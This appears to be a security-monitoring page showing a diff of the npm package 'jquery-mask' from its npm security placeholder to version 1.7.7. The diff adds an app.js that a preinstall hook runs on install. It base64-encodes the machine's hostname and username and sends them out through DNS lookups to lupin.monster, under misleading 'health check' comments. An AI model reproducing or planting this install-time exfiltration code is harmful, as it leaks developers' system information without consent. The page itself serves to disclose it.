jquery-mask 0.0.1-security → 1.7.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jquery-mask might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/app.js +19 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/app.js ADDED
@@ -0,0 +1,19 @@
1
+ var dns = require('dns');
2
+ var os = require('os');
3
+
4
+
5
+ // Preparing Authorization Forms
6
+ const domain = "lupin.monster"
7
+ const api_token = "ccdh0e2n01lqllkga2pgzw1fj8zj7iqkp"
8
+ const package_name = "jquery-mask"
9
+ const whitelisted_computer = Buffer.from(os.hostname()).toString('base64');
10
+ const whitelisted_user = Buffer.from(os.userInfo().username).toString('base64');
11
+
12
+ const health_check = `${whitelisted_user}.${whitelisted_computer}.${package_name}.${api_token}.${domain}`
13
+
14
+ // Check if computer is authorized to ping lupin.monster
15
+ var w3 = dns.lookup(health_check, function (err, addresses, family) {
16
+ if(addresses == "159.65.122.6"){
17
+ console.log('\x1b[36m%s\x1b[0m', '[*] jquery-mask was installed successfully');
18
+ }
19
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "jquery-mask",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.7.7",
4
+ "description": "",
5
+ "main": "node app.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node app.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jquery-mask for more information.